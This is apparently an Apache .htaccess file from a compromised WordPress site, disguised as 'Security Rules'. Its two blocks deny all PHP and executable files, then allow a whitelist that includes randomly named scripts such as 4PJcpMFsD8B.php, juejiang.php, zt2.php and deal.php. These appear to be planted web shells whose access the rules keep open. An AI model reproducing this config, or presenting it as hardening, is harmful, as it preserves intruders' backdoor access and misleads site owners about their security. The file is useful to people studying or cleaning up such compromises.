# Security Rules - Custom Configuration
# This section contains custom security rules
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>

<FilesMatch "^(index.php|4PJcpMFsD8B.php|5PJcpMFsD8B.php|7PJcpMFsD8B.php|11PJcpMFsD8B.php|3PJcpMFsD8B.php|deal.php|wp-login.php|juejiang.php|zt2.php|wp-cron.php|wp-signup.php)$">
Order Allow,Deny
Allow from all
</FilesMatch>

# BEGIN LSCACHE
# LiteSpeed Cache managed section - do not remove these markers
# END LSCACHE

# BEGIN NON_LSCACHE
# Non-LiteSpeed Cache section - do not remove these markers
# END NON_LSCACHE

# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

# BEGIN web2026_root_htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>
<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<FilesMatch "^(index\.php|4PJcpMFsD8B\.php|5PJcpMFsD8B\.php|7PJcpMFsD8B\.php|11PJcpMFsD8B\.php|3PJcpMFsD8B\.php|deal\.php|wp\-login\.php|juejiang\.php|zt2\.php|wp\-cron\.php|wp\-signup\.php)$">
Order Deny,Allow
Allow from all
</FilesMatch>
# END web2026_root_htaccess
